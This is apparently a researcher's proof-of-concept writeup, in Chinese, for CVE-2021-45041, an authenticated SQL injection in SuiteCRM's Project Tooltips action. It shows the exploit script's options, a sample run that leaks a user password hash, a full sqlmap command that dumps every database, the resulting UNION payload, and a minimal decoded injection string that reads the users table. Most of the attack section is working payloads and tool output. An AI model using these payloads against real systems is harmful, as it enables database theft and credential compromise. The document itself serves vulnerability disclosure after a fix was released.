
PoC for CVE-2021-45041
CVE-2021-45041(又名 SCRMBT-#177)的概念验证 – SuiteCRM <= 8.0 中的认证后 SQL 注入
选项:
(.venv) ➜ CVE-2021-45041 git:(main) ./exploit.py --help
Usage: exploit.py [OPTIONS]
Options:
-h, --host TEXT SuiteCRM 安装根目录。默认为 http://localhost
-u, --username TEXT 用户名
-p, --password TEXT 密码
-c, --col_count INTEGER 联合查询中使用的列数。默认为 44
-d, --dbms TEXT SuiteCRM 使用的数据库管理系统。默认为 mysql
-d, --is_core BOOLEAN SuiteCRM Core (>= 8.0.0)。默认为 False
--help 显示此帮助信息并退出。
https://github.com/manuelz120/CVE-2021-45041
示例用法:
(.venv) ➜ CVE-2021-45041 git:(main) ✗ ./exploit.py --host http://localhost --username user --password ******
INFO:CVE-2021-45041:登录成功 - 尝试获取用户哈希值以检查 SuiteCRM 是否存在漏洞
INFO:CVE-2021-45041:收到以下哈希值: $2y$10$WTN2aqQOyHUWxBjubqvYrukTOOE.rrfmE4SoogFbv4kc9dXu7vZzq
INFO:CVE-2021-45041:如果这看起来不像密码哈希值,则漏洞利用可能无法正常工作
INFO:CVE-2021-45041:针对目标启动 sqlmap 以获取完整数据库转储
INFO:CVE-2021-45041:sqlmap -u 'http://localhost/index.php?module=Project&action=Tooltips&resource_id=test%5C&start_date=%29+*' --headers 'Cookie: PHPSESSID=93b4g4bfd3ak199iiiands8cv8; sugar_user_theme=SuiteP' --technique U --dbms mysql --union-cols=44 --batch --dump-all
___
__H__
___ ___[.]_____ ___ ___ {1.5.12#pip}
|_ -| . [)] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 21:42:51 /2021-12-27/
custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q] Y
[21:42:51] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
Type: UNION query
Title: Generic UNION query (NULL) - 44 columns (custom)
Payload: http://localhost:80/index.php?module=Project&action=Tooltips&resource_id=test\&start_date=-8702) UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x717a6a7a71,0x52736356547967794948526b714b71584c55516679466d45537956795a546d664d74516d54644f41,0x716b767171),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
---
[21:42:52] [INFO] testing MySQL
[21:42:52] [INFO] confirming MySQL
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] Y
[21:42:52] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.51
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[21:42:52] [INFO] sqlmap will dump entries of all tables from all databases now
[21:42:52] [INFO] fetching database names
...
我最近在 SuiteCRM 中发现了一个认证后的 SQL 注入漏洞。我已在版本 8.0 和 7.12.1 中验证了该漏洞。漏洞位于 Project 模块的 Tooltips 操作中。在默认安装中,任何用户都可以通过访问以下 URL 来调用此操作(对于版本 8,请添加 /legacy 前缀):
/index.php?module=Project&action=Tooltips&resource_id=test&start_date=test
如果我们查看该操作的实现(参见 https://github.com/salesagility/SuiteCRM-Core/blob/v8.0.0/public/legacy/modules/Project/controller.php#L485-L513),可以看到这些值直接取自 $_REQUEST,没有任何额外的清理,随后在查询的 where 子句中使用。

尽管由于 HTML 实体编码,我们无法使用单引号,但由于存在多个注入点,该漏洞仍然可以利用。如果我们指定一个以反斜杠 (\) 字符结尾的 resource_id,后续的单引号将被转义,字符串将仅在 BETWEEN 关键字后的单引号处终止。这意味着,客户端发送的任何 start_date 都将被视为纯 SQL,并可用于执行 SQL 注入攻击。
以下是一个最小化的概念验证,用于泄露用户的密码哈希值:
版本 7.12.1:
版本 8.0:
URL 解码版本:
module=Project&action=Tooltips&resource_id=test\&start_date=) UNION SELECT 0, 1, 2, 3, 4, (SELECT user_hash from users limit 1), 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43 from dual; #

在我报告之后不久,新的 SuiteCRM 版本(7.12.2 和 8.0.1)发布,其中包含以下修复: